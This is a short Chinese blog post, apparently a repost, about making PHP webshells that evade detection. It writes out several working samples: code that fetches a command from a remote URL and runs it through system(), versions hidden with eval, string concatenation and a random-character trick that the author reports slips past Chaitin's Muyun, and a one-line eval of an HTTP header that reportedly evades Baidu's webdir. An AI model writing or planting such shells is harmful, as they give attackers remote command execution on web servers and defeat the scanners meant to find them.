原文链接:webshell绕过案例
背景 在研究基于netfilter的后门时,我想到如果webshell可以创建af_packet、af_netlink等socket,就可以不使用$_POST、$_GET等方式获取用户输入,因为某些webshell检测方式会标记$_POST、$_GET等数据为污点,所以这种方式可以用来躲避检测。 接着我又想到,我可以通过"端口复用"创建tcp服务来获取用户输入。比如和php-fpm、ssh服务做"端口复用"。 似乎上面两种思路都不行,最后我就想webshell能不能从远程获取用户输入呢,这样也不用$_POST、$_GET等变量。沿着这个思路构造了几个样本,并在长亭的牧云[1]、百度的webdir[2]验证了一下检出效果。 测试过程 第一个样本如下 <?php $cmd=file_get_contents("http://127.0.0.1:9999/cmd"); system($cmd); 牧云标记出webshell,webdir没有检出。 即使改成下面这种用eval、字符串拼接,牧云也可以检出 <?php eval('$cmd=file_get'.'_contents("http://127.0.0.1:9999/cmd");'); system($cmd); 不过加入随机数后,牧云就无法检出 <?php function rand_char(){ $s = substr(str_shuffle(str_repeat("1t",1)), 0, 1); // 从"1"和"t"中随机选择一个字符 return $s; } $r=rand_char(); eval('$cmd=file_ge'.$r.'_contents("http://127.0.0.1:9999/cmd");'); system($cmd); rand、mt_rand 生成的随机数,牧云是可以检出的 总结 最开始的思路是想避免$_POST、$_GET等常见方式获取用户输入,最终绕过还是得靠不常见的随机数函数。 file_get_contents也可以改成socket,代码见 https://gist.github.com/leveryd/896b9fba137aa2d12ce8c7737d451852 PS:在研究过程中,发现一个似乎比较少见的获取header的api,测试发现也可以绕过webdir <?php $headers=apache_request_headers(); eval($headers["X-TARGET"]); 参考资料 [1] [2]
|